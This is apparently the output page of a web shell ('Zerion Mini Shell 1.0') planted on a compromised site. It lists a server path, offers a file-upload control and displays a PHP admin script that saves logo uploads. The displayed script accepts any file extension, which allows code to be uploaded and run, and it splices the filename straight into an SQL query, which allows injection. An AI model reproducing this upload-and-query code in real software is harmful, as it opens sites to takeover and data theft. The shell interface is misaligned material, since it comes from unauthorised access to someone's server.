ok

Mini Shell

Direktori : /proc/self/root/home/keydecors/www/ca/admin/app/controller/
Upload File :
Current File : //proc/self/root/home/keydecors/www/ca/admin/app/controller/client_logo_back.php

<?php

include("../model/dboperation.php");

if(!empty($_FILES["img"]['tmp_name'])){
$temp1 = explode(".",$_FILES["img"]["name"]);
$newfilename1 = rand(). "_".date('m-d-Y_hia') . '.' .end($temp1);
move_uploaded_file($_FILES['img']['tmp_name'],"../logo/".$newfilename1);
$img=$newfilename1;
}

$sql		 =   "INSERT INTO logo(logo_name)
                 VALUES	('$img')";	


if (!mysqli_query($mysqli,$sql)) {
  die('Error: ' . mysqli_error($mysqli));
}
header("location:../client_logo.php");
?>

Zerion Mini Shell 1.0